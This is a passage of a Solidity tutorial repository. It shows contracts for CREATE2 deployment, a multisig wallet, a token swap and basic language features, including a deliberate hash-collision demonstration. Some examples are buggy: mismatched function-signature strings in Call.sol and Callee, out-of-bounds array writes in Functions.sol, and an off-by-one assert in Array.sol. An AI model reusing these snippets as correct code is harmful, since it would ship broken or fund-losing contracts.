├── Advanced ├── create2.sol ├── multisigwallet.sol └── tokenswap.sol ├── Basic ├── Array.sol ├── Call.sol ├── Constant.sol ├── Constructor.sol ├── DataLocation.sol ├── Enum.sol ├── EnumDeclaration.sol ├── ErrorHandling.sol ├── Event.sol ├── Functions.sol ├── Hash.sol ├── If.sol ├── Immutable.sol ├── Interface.sol ├── Library.sol ├── Mapping.sol ├── Modifier.sol ├── Payable.sol ├── SendEther.sol ├── SendEther2.sol ├── String.sol ├── Struct.sol ├── StructDeclaration.sol ├── TryCatch.sol ├── Variable.sol ├── Visibility.sol └── wallet.sol ├── README.md └── Security ├── Overflow.sol ├── ReEntrancy.sol └── SelfDestruction.sol /Advanced/create2.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol"; 6 | 7 | contract DeploymentFactory { 8 | event Deployed(address addr, uint salt); 9 | 10 | //the constructor arguments of the target contract to be passed in 11 | function getContractByteCode( 12 | string memory _name, 13 | string memory _symbol, 14 | uint256 _initialSupply) 15 | public pure returns (bytes memory) 16 | { 17 | bytes memory bytecode = type(DogeCoin).creationCode; 18 | return abi.encodePacked(bytecode, abi.encode(_name, _symbol, _initialSupply)); 19 | } 20 | 21 | //_salt is an arbitrary value provided by the sender 22 | function computeContractAddress(bytes memory bytecode, uint256 _salt) public view returns (address) { 23 | bytes32 hash = keccak256( 24 | abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)) 25 | ); 26 | 27 | //cast last 20 bytes of hash to address 28 | return address(uint160(uint256(hash))); 29 | } 30 | 31 | function deploy(bytes memory bytecode, uint256 _salt) public payable { 32 | address addr; 33 | 34 | /* 35 | How to call create2 36 | 37 | create2(v, p, n, s) 38 | create new contract with code at memory p to p + n 39 | and send v wei 40 | and return the new address 41 | where new address = first 20 bytes of keccak256(0xff + address(this) + s + keccak256(mem[p…(p+n))) 42 | s = big-endian 256-bit value 43 | */ 44 | 45 | assembly { 46 | addr := create2( 47 | //wei sent with current function call 48 | callvalue(), 49 | //skipping first 32 bytes to the actual code 50 | add(bytecode, 0x20), 51 | //load the size of code contained from the first 32 bytes 52 | mload(bytecode), 53 | //the random number from function call 54 | _salt 55 | ) 56 | 57 | if iszero(extcodesize(addr)) { 58 | revert(0, 0) 59 | } 60 | } 61 | 62 | emit Deployed(addr, _salt); 63 | } 64 | } 65 | 66 | //contract to be deployed 67 | contract DogeCoin is ERC20 { 68 | constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { 69 | _mint(msg.sender, initialSupply * 10 ** uint(decimals())); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Advanced/multisigwallet.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract MultiSignWallet { 6 | event Deposit(address indexed sender, uint amount, uint balance); 7 | event SubmitTransaction( 8 | address indexed owner, 9 | uint indexed txIndex, 10 | address indexed to, 11 | uint value, 12 | bytes data 13 | ); 14 | 15 | event ConfirmTransaction(address indexed owner, uint indexed txIndex); 16 | event RevokeConfirmation(address indexed owner, uint indexed txIndex); 17 | event ExecuteTransaction(address indexed owner, uint indexed txIndex); 18 | 19 | address[] public owners; 20 | mapping(address => bool) public isOwner; 21 | uint public numConfirmationsRequired; 22 | 23 | struct Transaction { 24 | address to; 25 | uint value; 26 | bytes data; 27 | bool executed; 28 | uint numConfirmations; 29 | } 30 | 31 | // tx index to owner => bool 32 | mapping(uint => mapping(address => bool)) public isConfirmed; 33 | 34 | Transaction[] public transactions; 35 | 36 | modifier onlyOwner() { 37 | require(isOwner[msg.sender], "Not owner"); 38 | _; 39 | } 40 | 41 | modifier txExists(uint _txIndex) { 42 | require(_txIndex < transactions.length, "transaction does not exist"); 43 | _; 44 | } 45 | 46 | modifier notExecuted(uint _txIndex) { 47 | require(!transactions[_txIndex].executed, "transaction already executed"); 48 | _; 49 | } 50 | 51 | modifier notConfirmed(uint _txIndex) { 52 | require(!isConfirmed[_txIndex][msg.sender], "transaction already confirmed"); 53 | _; 54 | } 55 | 56 | constructor(address[] memory _owners, uint _numConfirmationsRequired) { 57 | require(_owners.length > 0, "owners required"); 58 | require( 59 | _numConfirmationsRequired > 0 && 60 | _numConfirmationsRequired <= _owners.length, 61 | "invalid number of required confirmations" 62 | ); 63 | 64 | for (uint i = 0; i < _owners.length; i++) { 65 | address owner = _owners[i]; 66 | require(owner != address(0), "invalid owner"); 67 | require(!isOwner[owner], "duplicate owner address"); 68 | isOwner[owner] = true; 69 | owners.push(owner); 70 | } 71 | 72 | numConfirmationsRequired = _numConfirmationsRequired; 73 | } 74 | 75 | receive() external payable { 76 | emit Deposit(msg.sender, msg.value, address(this).balance); 77 | } 78 | 79 | function deposit() public payable {} 80 | 81 | function submitTransaction( 82 | address _to, 83 | uint _value, 84 | bytes memory _data 85 | ) public onlyOwner { 86 | uint txIndex = transactions.length; 87 | transactions.push( 88 | Transaction({ 89 | to : _to, 90 | value : _value, 91 | data : _data, 92 | executed : false, 93 | numConfirmations : 0 94 | }) 95 | ); 96 | 97 | emit SubmitTransaction(msg.sender, txIndex, _to, _value, _data); 98 | } 99 | 100 | function confirmTransaction(uint _txIndex) public 101 | onlyOwner 102 | txExists(_txIndex) 103 | notExecuted(_txIndex) 104 | notConfirmed(_txIndex) 105 | { 106 | Transaction storage txn = transactions[_txIndex]; 107 | txn.numConfirmations += 1; 108 | isConfirmed[_txIndex][msg.sender] = true; 109 | 110 | emit ConfirmTransaction(msg.sender, _txIndex); 111 | } 112 | 113 | function executeTransaction(uint _txIndex) public 114 | onlyOwner 115 | txExists(_txIndex) 116 | notExecuted(_txIndex) 117 | { 118 | Transaction storage txn = transactions[_txIndex]; 119 | require(txn.numConfirmations >= numConfirmationsRequired, 120 | "number of required confirmations not met"); 121 | txn.executed = true; 122 | (bool success, ) = txn.to.call{value : txn.value}(txn.data); 123 | require(success, "transaction failed"); 124 | 125 | emit ExecuteTransaction(msg.sender, _txIndex); 126 | } 127 | 128 | function revokeConfirmation(uint _txIndex) public 129 | onlyOwner 130 | txExists(_txIndex) 131 | notExecuted(_txIndex) 132 | { 133 | Transaction storage txn = transactions[_txIndex]; 134 | require(isConfirmed[_txIndex][msg.sender], 135 | "transaction has not yet confirmed"); 136 | txn.numConfirmations -= 1; 137 | isConfirmed[_txIndex][msg.sender] = false; 138 | 139 | emit RevokeConfirmation(msg.sender, _txIndex); 140 | } 141 | 142 | function getOwners() public view returns (address[] memory) { 143 | return owners; 144 | } 145 | 146 | function getTransactionCount() public view returns (uint) { 147 | return transactions.length; 148 | } 149 | 150 | function getTransaction(uint _txIndex) public view returns ( 151 | address to, 152 | uint value, 153 | bytes memory data, 154 | bool executed, 155 | uint numConfirmations 156 | ) 157 | { 158 | Transaction storage txn = transactions[_txIndex]; 159 | return ( 160 | txn.to, 161 | txn.value, 162 | txn.data, 163 | txn.executed, 164 | txn.numConfirmations 165 | ); 166 | } 167 | 168 | } 169 | 170 | //for testing MultiSignWallet 171 | contract Callee { 172 | uint public num; 173 | 174 | function fund(uint _i) public payable returns (uint) { 175 | num = _i; 176 | return address(this).balance; 177 | } 178 | 179 | function getBytes() public pure returns (bytes memory) { 180 | return abi.encodeWithSignature("fund(uint)", 1); 181 | } 182 | 183 | } -------------------------------------------------------------------------------- /Advanced/tokenswap.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol"; 6 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol"; 7 | 8 | contract TokenSwap { 9 | IERC20 public token1; 10 | address public owner1; 11 | uint public amount1; 12 | 13 | IERC20 public token2; 14 | address public owner2; 15 | uint public amount2; 16 | 17 | constructor( 18 | address _token1, 19 | address _owner1, 20 | uint _amount1, 21 | address _token2, 22 | address _owner2, 23 | uint _amount2 24 | ) 25 | { 26 | token1 = IERC20(_token1); 27 | owner1 = _owner1; 28 | amount1 = _amount1; 29 | 30 | token2 = IERC20(_token2); 31 | owner2 = _owner2; 32 | amount2 = _amount2; 33 | 34 | } 35 | 36 | modifier onlyOwner() { 37 | require(msg.sender == owner1 || msg.sender == owner2, 38 | "not authorized"); 39 | _; 40 | } 41 | 42 | function swap() public onlyOwner { 43 | require(token1.allowance(owner1, address(this)) >= amount1, 44 | "token1 allowance too low"); 45 | 46 | require(token2.allowance(owner2, address(this)) >= amount2, 47 | "token2 allowance too low"); 48 | 49 | _safeTransferFrom(token1, owner1, owner2, amount1); 50 | _safeTransferFrom(token2, owner2, owner1, amount2); 51 | } 52 | 53 | function _safeTransferFrom( 54 | IERC20 token, 55 | address sender, 56 | address recipient, 57 | uint amount 58 | ) private { 59 | bool sent = token.transferFrom(sender, recipient, amount); 60 | require(sent, "token transfer failed"); 61 | } 62 | 63 | } 64 | 65 | /* testing steps: 66 | 1. deploy DogeCoin contract by owner1 67 | 2. deploy CowCoin contract by owner2 68 | 3. deploy TokenSwap contract by owner1 or owner2 69 | 4. owner1 approve TokenSwap contract for spending X amount of DogeCoin 70 | 5. owner2 approve TokenSwap contract for spending Y amount of CowCoin 71 | 6. call swap function for swapping token 72 | 7. use balanceOf function to check if token has been received by owner1 or owner2 73 | */ 74 | contract DogeCoin is ERC20 { 75 | constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { 76 | _mint(msg.sender, initialSupply * 10 ** uint(decimals())); 77 | } 78 | } 79 | 80 | contract CowCoin is ERC20 { 81 | constructor(string memory name, string memory symbol) ERC20(name, symbol) { 82 | _mint(msg.sender, 1000 * 10 ** uint(decimals())); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /Basic/Array.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./Enum.sol"; 6 | 7 | contract Array { 8 | 9 | uint [] public arr; 10 | uint [] public arr2 = [1, 2, 3]; 11 | 12 | uint[10] public arr3; 13 | uint public constant size = 10; 14 | uint[size] public arr4; 15 | 16 | function get(uint i) public view returns (uint) { 17 | assert (i < arr.length -1); 18 | return arr[i]; 19 | } 20 | 21 | function getArr() public view returns (uint[] memory) { 22 | return arr; 23 | } 24 | 25 | function push(uint i) public { 26 | arr.push(i); 27 | } 28 | function pop() public { 29 | arr.pop(); 30 | } 31 | function getLen() public view returns(uint) { 32 | return arr.length; 33 | } 34 | function remove(uint index) public { 35 | delete arr[index]; 36 | } 37 | function examples() external pure returns(uint[] memory) { 38 | uint[] memory a = new uint[](5); 39 | return a; 40 | } 41 | } -------------------------------------------------------------------------------- /Basic/Call.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | Below code demonstrates how to use call function to interact with the functions from 7 | another contract. When the calling function does not exist, the fallback function will 8 | be triggered 9 | */ 10 | 11 | contract ReceiverContra { 12 | event Received (address caller, uint256 amount, string message); 13 | 14 | fallback() external payable { 15 | emit Received(msg.sender, msg.value, "fallback is triggered"); 16 | } 17 | 18 | function pay(string memory _message, uint256 _receiptNo) public payable returns(string memory) { 19 | emit Received(msg.sender, _receiptNo, _message); 20 | return "Thank You"; 21 | } 22 | } 23 | 24 | contract SenderContra { 25 | event Response(bool success, bytes data); 26 | 27 | function deposit() external payable {} 28 | 29 | //the pay function from ReceiverContra will be called 30 | function callPay(address payable _addr) public payable { 31 | (bool succ, bytes memory data) = _addr.call{ 32 | value : msg.value, 33 | gas: 6000 }( 34 | abi.encodeWithSignature( 35 | "pay(string, uint256)", 36 | "pay you for lunch", 37 | 11223311) 38 | ); 39 | emit Response(succ, data); 40 | } 41 | 42 | //the fallback function from ReceiverContra will be triggered when the calling function does not exist 43 | function callNonExisitingFunc(address _addr) public { 44 | (bool succ, bytes memory data) = _addr.call( 45 | abi.encodeWithSignature("abc()") 46 | ); 47 | 48 | emit Response(succ, data); 49 | } 50 | 51 | } -------------------------------------------------------------------------------- /Basic/Constant.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT; 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "hardhat/console.sol"; 6 | 7 | /* 8 | 1) constant variable cannot be changed once its initialized. 9 | 2) value assignment must be at declaration line, otherwise thowing compiling error 10 | 3) declare variable inside a function with the same name as 11 | constant variable will shadow the constant variable 12 | */ 13 | 14 | contract Constants { 15 | 16 | address public constant MY_ADDRESS = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; 17 | uint public constant MY_UINT = 123; 18 | 19 | function changeConstant() public view { 20 | //it does not change the constant, rather created a local variable 21 | address MY_ADDRESS = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; 22 | uint MY_UINT = 345; 23 | 24 | console.log(MY_ADDRESS); 25 | console.log(MY_UINT); 26 | 27 | } 28 | } -------------------------------------------------------------------------------- /Basic/Constructor.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "hardhat/console.sol"; 6 | 7 | contract A { 8 | string public name; 9 | 10 | constructor(string memory _name) { 11 | name = _name; 12 | console.log("A:", name); 13 | } 14 | } 15 | 16 | contract B { 17 | string public text; 18 | constructor(string memory _text) { 19 | text = _text; 20 | console.log("B:", text); 21 | } 22 | } 23 | 24 | //C inherited from A & B. Passing constructor arguments at declaration line 25 | contract C is A("Python"), B("Programming Language") { 26 | 27 | constructor() { 28 | console.log("This is C!"); 29 | } 30 | } 31 | 32 | //D inherited from A & B. Passing parameters to parents' constructor 33 | contract D is A, B { 34 | constructor(string memory _name, string memory _text) A(_name) B(_text) { 35 | console.log("This is D"); 36 | } 37 | } 38 | 39 | //E inherited from A & B. 40 | contract E is A, B { 41 | 42 | //at constructing time 43 | constructor() A("Java") B("Object Oriented") { 44 | console.log("this is E"); 45 | } 46 | } 47 | 48 | contract F is A, B { 49 | 50 | //sequence does not matter 51 | constructor() B("On the rails") A("Ruby") { 52 | console.log("this is F"); 53 | } 54 | } -------------------------------------------------------------------------------- /Basic/DataLocation.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "hardhat/console.sol"; 6 | 7 | contract DataLocation { 8 | uint[] public arr; 9 | mapping(uint => address) map; 10 | struct Person { 11 | string name; 12 | uint8 age; 13 | } 14 | mapping(uint8 => Person) rank; 15 | 16 | function update() public { 17 | _updateVal(arr, map, rank); 18 | 19 | console.log(arr[0]); 20 | console.log(map[0]); 21 | console.log(rank[0].name); 22 | 23 | Person storage p2 = rank[1]; 24 | Person storage p3 = rank[2]; 25 | 26 | console.log(p2.name); 27 | console.log(p3.name); 28 | } 29 | 30 | function _updateVal( 31 | uint[] storage _arr, 32 | mapping(uint => address) storage _map, 33 | mapping(uint8 => Person) storage _r 34 | ) internal { 35 | 36 | _arr[0] = 1; 37 | _map[0] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; 38 | 39 | _r[0].name = "ken"; 40 | _r[0].age = 10; 41 | 42 | _r[1].name = "ken1"; 43 | _r[1].age = 11; 44 | 45 | _r[2].name = "ken2"; 46 | _r[2].age = 12; 47 | 48 | } 49 | 50 | function g(uint[] memory _arr) public returns(uint[] memory) { 51 | _arr[0] = 100; 52 | console.log(_arr[0]); 53 | return _arr; 54 | } 55 | 56 | function h(uint[] calldata _arr) external { 57 | console.log(_arr[0]); 58 | } 59 | } -------------------------------------------------------------------------------- /Basic/Enum.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./EnumDeclaration.sol"; 6 | 7 | contract Enum { 8 | 9 | //map of integer to Enum string 10 | mapping(uint8 => string) public enumMap; 11 | 12 | //state variable with Enum data type 13 | DeliveryStatus public status; 14 | 15 | constructor () { 16 | //initialize the mapping 17 | enumMap[0] = "Pending"; 18 | enumMap[1] = "PickedUp"; 19 | enumMap[2] = "InTransit"; 20 | enumMap[3] = "Delivered"; 21 | enumMap[4] = "Cancelled"; 22 | } 23 | 24 | //returns 0, 1, 2 ... 25 | function get() public view returns (DeliveryStatus) { 26 | return status; 27 | } 28 | 29 | //convert status as string 30 | function getCurrentStatus() public view returns (string memory) { 31 | return enumMap[uint8(status)]; 32 | } 33 | 34 | //Enum status transition 35 | function setNext() external returns(DeliveryStatus) { 36 | if (uint(status) == 4) { 37 | reset(); 38 | } 39 | else { 40 | status = DeliveryStatus(uint(status) + 1); 41 | } 42 | return status; 43 | } 44 | 45 | //set enum by index 46 | function set(DeliveryStatus _status) external returns(bool) { 47 | status = _status; 48 | return true; 49 | } 50 | 51 | //better way to assign value to enum variable 52 | function cancel() public { 53 | status = DeliveryStatus.Cancelled; 54 | } 55 | 56 | //set to initial state which is 0 57 | function reset() public { 58 | delete status; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /Basic/EnumDeclaration.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | enum DeliveryStatus { 6 | Pending, 7 | PickedUp, 8 | InTransit, 9 | Delivered, 10 | Cancelled 11 | } -------------------------------------------------------------------------------- /Basic/ErrorHandling.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | 6 | /** 7 | REVERT will undo all state changes, and refund any remaining gas to the caller, meanwhile it allows you to 8 | return values. 9 | 10 | REQUIRE is equivalent to REVERT(`error string`) but with a simpler syntax. Bett 11 | 12 | ASSERT will undo all the state changes but without refund the remaining gas. It should be only used to prevent 13 | very bad things happening e.g. zero devision, index out of range etc. 14 | 15 | 16 | Reference: https://ethereum.stackexchange.com/questions/15166/difference-between-require-and-assert-and-the-difference-between-revert-and-thro 17 | 18 | */ 19 | contract Revert { 20 | 21 | mapping(address => uint256) accounts; 22 | 23 | //custom error with arguments 24 | error AgeRequirementNotMet(uint256 minAge); 25 | error InsufficentBalance(uint256 balance, uint256 withdrawAmount); 26 | //custom error without arguments 27 | error InsufficientDeposit(); 28 | 29 | function createAccount(uint256 age) public payable { 30 | if (age < 18) { 31 | //return without any error data 32 | revert(); 33 | } 34 | accounts[msg.sender] = msg.value; 35 | } 36 | 37 | function openAccount(uint256 age) public payable { 38 | if (age < 18) { 39 | //return with a string error 40 | revert("age requirement not met"); 41 | } 42 | accounts[msg.sender] = msg.value; 43 | } 44 | 45 | function testWithdraw(uint256 _withdrawAmount) public view { 46 | uint bal = address(this).balance; 47 | if(bal < _withdrawAmount) { 48 | revert InsufficentBalance({balance : bal, withdrawAmount : _withdrawAmount}); 49 | } 50 | } 51 | 52 | function registerAccount(uint256 age) public payable { 53 | 54 | if (age < 18) { 55 | //return with a value 56 | revert AgeRequirementNotMet(18); 57 | } 58 | 59 | if (msg.value < 0.1 ether) { 60 | //cheaper way using function signature (four bytes) than passing a error string 61 | revert InsufficientDeposit(); 62 | } 63 | accounts[msg.sender] = msg.value; 64 | } 65 | 66 | } 67 | 68 | 69 | contract Require { 70 | 71 | mapping(address => uint256) accounts; 72 | 73 | function createAccount(uint256 age) public payable { 74 | require(age >= 18); 75 | accounts[msg.sender] = msg.value; 76 | } 77 | function openAccount(uint256 age) public payable { 78 | //return with a string error 79 | require(age >= 18, "age requirement not met"); 80 | accounts[msg.sender] = msg.value; 81 | } 82 | } 83 | 84 | 85 | contract Assert { 86 | 87 | address[] accounts; 88 | uint256 public balance; 89 | 90 | function zeroDivision() public payable{ 91 | assert(msg.value / accounts.length > 0); 92 | } 93 | 94 | function withdraw(uint _amount) public { 95 | uint oldBalance = balance; 96 | require(balance >= _amount, "Underflow"); 97 | if(balance < _amount) { 98 | revert("underflow"); 99 | } 100 | balance -= _amount; 101 | assert(balance <= oldBalance); 102 | } 103 | 104 | function deposit(uint _amount) public { 105 | uint oldBalance = balance; 106 | uint newBalance = balance + _amount; 107 | 108 | require(newBalance >= oldBalance, "Overflow"); 109 | 110 | balance = newBalance; 111 | assert(balance >= oldBalance); 112 | } 113 | 114 | } -------------------------------------------------------------------------------- /Basic/Event.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | Event and its parameters are captured in the transaction logs and visible on blockchain 7 | */ 8 | 9 | contract Event { 10 | 11 | //`sender` will be captured as topic instead of log data, to faciliate the event filtering 12 | event Log(address indexed sender, string message); 13 | //all info is captured in data part of the log when not indexed 14 | event FunctionExecuted(string message); 15 | 16 | function logEvent() public { 17 | //use emit to fire the event 18 | emit Log(msg.sender, "who are you?"); 19 | emit Log(msg.sender, "tell me"); 20 | emit FunctionExecuted("That is the end!"); 21 | } 22 | } -------------------------------------------------------------------------------- /Basic/Functions.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract Func { 6 | 7 | function FuncWithMultipleReturns() public view returns (bool, string memory) { 8 | //do something 9 | 10 | bool success = true; 11 | string memory output = string( 12 | abi.encodePacked(block.timestamp, "@hello world!") 13 | ); 14 | return (success, output); 15 | } 16 | 17 | function FuncWithNamedReturns() public view returns(bool success, string memory output) { 18 | 19 | //do something 20 | success = false; 21 | output = string(abi.encodePacked("Unexpected error @", block.timestamp)); 22 | return (success, output); 23 | } 24 | 25 | function FuncWithNamedOutputWithoutReturns() public view returns( 26 | bool success, string memory output) { 27 | //do something 28 | success = false; 29 | output = string(abi.encodePacked("Unexpected error @", block.timestamp)); 30 | } 31 | 32 | function destructingFromFuncReturn() public view returns(bool, string memory) { 33 | (bool success, ) = FuncWithMultipleReturns(); 34 | string memory newOutput = string(abi.encodePacked("hello from destructing func at ", block.timestamp)); 35 | return(success, newOutput); 36 | } 37 | 38 | function FuncWithArrayArgs(uint256[] memory arr) public pure returns(bool) { 39 | uint n = arr.length; 40 | arr[n] = 111; 41 | return true; 42 | } 43 | 44 | function FuncWithArrayOutput() public pure returns(uint256[] memory arr) { 45 | arr[0] = 1; 46 | arr[1] = 2; 47 | 48 | return arr; 49 | 50 | } 51 | 52 | } -------------------------------------------------------------------------------- /Basic/Hash.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | Hash function is an algorithm that takes an arbitrary amount of data as input 7 | and produces the encrypted text of fixed size. Even a slight change in the input 8 | gives a completely different output. 9 | 10 | The keccak256 function in the below example returns a bytes32 string. 11 | 12 | */ 13 | 14 | contract Hashing { 15 | 16 | //generate hash for a list of arguments 17 | function hash( 18 | string memory _name, 19 | uint _age, 20 | bool _whitelisted, 21 | address _address) public pure returns (bytes32) { 22 | return keccak256( 23 | abi.encodePacked( 24 | _name, 25 | _age, 26 | _whitelisted, 27 | _address)); 28 | } 29 | 30 | function collide(string memory _user, string memory _password) public pure returns (bytes32) { 31 | // abi.encodePacked using unpadded encoding which leads to hash collision e.g.: test, 123 vs test1, 23 32 | return keccak256( 33 | abi.encodePacked(_user, _password) 34 | ); 35 | } 36 | 37 | 38 | function nonCollision(string memory _user, string memory _password) public pure returns (bytes32) { 39 | //abi.encode properly pads byte arrays and strings from calldata 40 | return keccak256( 41 | abi.encode(_user, _password) 42 | ); 43 | } 44 | 45 | function testCollision() public pure returns (bool, bool) { 46 | //causing hash collision 47 | bytes32 hash1 = collide("test", "12"); 48 | bytes32 hash2 = collide("test1", "2"); 49 | 50 | bytes32 hash3 = nonCollision("test", "12"); 51 | bytes32 hash4 = nonCollision("test1", "2"); 52 | 53 | return (hash1 == hash2, hash3 == hash4); 54 | } 55 | } -------------------------------------------------------------------------------- /Basic/If.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier:MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract IfElse { 6 | 7 | function print(uint _n) public pure returns (uint) { 8 | 9 | if (_n < 10) { 10 | return 0; 11 | } else if (_n < 20) { 12 | return 1; 13 | } else { 14 | return 2; 15 | } 16 | } 17 | 18 | function ternary(uint _n) public pure returns (uint) { 19 | return _n < 10 ? 1 : 2; 20 | } 21 | 22 | function forloop() public pure { 23 | 24 | for (uint i = 0; i < 10; i++) { 25 | if (i == 3) { 26 | continue; 27 | } 28 | if (i == 5) { 29 | break; 30 | } 31 | } 32 | 33 | uint j; 34 | 35 | while (j < 10) { 36 | j++; 37 | } 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /Basic/Immutable.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier:MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | 1) value assignment for immutable variable can only happens at declaration line 7 | or inside constructor function 8 | 2) if value assigned at declaration line, it is equivalent to constant variable 9 | 3) declare variable inside a function with the same name as 10 | immutable variable will shadow the immutable variable 11 | */ 12 | 13 | contract Immutable { 14 | 15 | address private immutable original; 16 | uint public immutable MY_UINT; 17 | uint public immutable my_uint2 = 456; 18 | uint public constant my_uint3 = 456; 19 | 20 | 21 | constructor(uint _myUint) { 22 | //assign contract address to variable original 23 | original = address(this); 24 | MY_UINT = _myUint; 25 | } 26 | 27 | function changeIt() public view { 28 | //shadows the immutable Variable 29 | uint256 MY_UINT = 12; 30 | 31 | } 32 | 33 | //a method to prevent delegate calls 34 | function checkNotDelegateCall() private view { 35 | require(address(this) == original); 36 | } 37 | 38 | } -------------------------------------------------------------------------------- /Basic/Interface.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | //interface 6 | interface ICounter { 7 | 8 | function count() external view returns (uint) ; 9 | function increment() external; 10 | function decrement() external; 11 | } 12 | 13 | //contract that implements the interface 14 | contract Counter { 15 | uint256 public count; 16 | 17 | function increment() external { 18 | unchecked { 19 | count += 1; 20 | } 21 | } 22 | 23 | function decrement() external { 24 | require(count > 0, "Counter: decrement overflow"); 25 | unchecked { 26 | count -= 1; 27 | } 28 | } 29 | 30 | function reset() external { 31 | count = 0; 32 | } 33 | } 34 | 35 | //using interface in contract 36 | contract Countable { 37 | ICounter private counter; 38 | 39 | function setCounterAddress(address _counter) external { 40 | require(_counter != address(0), "invalid address"); 41 | counter = ICounter(_counter); 42 | } 43 | function incrementCounter() external { 44 | counter.increment(); 45 | } 46 | function getCount() external view returns (uint) { 47 | return counter.count(); 48 | } 49 | 50 | function decrement() external { 51 | counter.decrement(); 52 | } 53 | 54 | } -------------------------------------------------------------------------------- /Basic/Library.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | library SaftMath { 5 | function add(uint x, uint y) internal pure returns (uint) { 6 | uint z = x + y; 7 | require(z >= x, "uint overflow!"); 8 | return z; 9 | } 10 | } 11 | 12 | library Math { 13 | function sqrt(uint y) internal pure returns (uint r) { 14 | if (y > 3) { 15 | r = y; 16 | uint x = y / 2 + 1; 17 | while (x < r) { 18 | r = x; 19 | x = (y / x + x) / 2; 20 | } 21 | } else if (y != 0) { 22 | r = 1; 23 | } 24 | // else r = 0 (default value) 25 | } 26 | 27 | } 28 | 29 | library Array { 30 | function remove(uint[] storage arr, uint index) public { 31 | require(arr.length > 0, "Array is empty!"); 32 | //put the last element into the place of the deleted element 33 | arr[index] = arr[arr.length - 1]; 34 | //remove the last element with delete or pop 35 | delete arr[arr.length - 1]; 36 | //arr.pop(); 37 | } 38 | } 39 | 40 | contract TestLib { 41 | using SaftMath for uint; 42 | uint public MAX_UINT = 2 ** 256 - 1; 43 | 44 | uint[] public arr; 45 | using Array for uint[]; 46 | 47 | function testAdd(uint x, uint y) public pure returns (uint) { 48 | return x.add(y); 49 | } 50 | 51 | function testSQRT(uint x) public pure returns (uint) { 52 | return Math.sqrt(x); 53 | } 54 | 55 | function testArray() public { 56 | for(uint x = 0; x < 10; x++) 57 | { 58 | arr.push(x); 59 | } 60 | 61 | arr.remove(0); 62 | assert(arr.length == 9); 63 | assert(arr[0] == 9); 64 | assert(arr[1] == 1); 65 | } 66 | } -------------------------------------------------------------------------------- /Basic/Mapping.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier:MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract Mapping { 6 | mapping(address => uint) public mymap; 7 | 8 | function get(address _address) public view returns (uint) { 9 | return mymap[_address]; 10 | } 11 | 12 | function set(address _address, uint _i) public { 13 | mymap[_address] = _i; 14 | } 15 | 16 | function remove(address _address) public { 17 | delete mymap[_address]; 18 | } 19 | } 20 | 21 | contract NestedMapping { 22 | 23 | mapping(address => mapping(uint => bool)) public nested; 24 | 25 | function get(address _address, uint _i) public view returns(bool) { 26 | return nested[_address][_i]; 27 | } 28 | 29 | function set( 30 | address _address, 31 | uint _i, 32 | bool _bool) public { 33 | nested[_address][_i] = _bool; 34 | } 35 | 36 | function remove(address _address, uint _i) public { 37 | delete nested[_address][_i]; 38 | } 39 | } -------------------------------------------------------------------------------- /Basic/Modifier.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract FunctionModifier { 6 | 7 | address public owner; 8 | uint public x = 10; 9 | bool public locked; 10 | 11 | constructor() { 12 | owner = msg.sender; 13 | } 14 | 15 | modifier onlyOwner() { 16 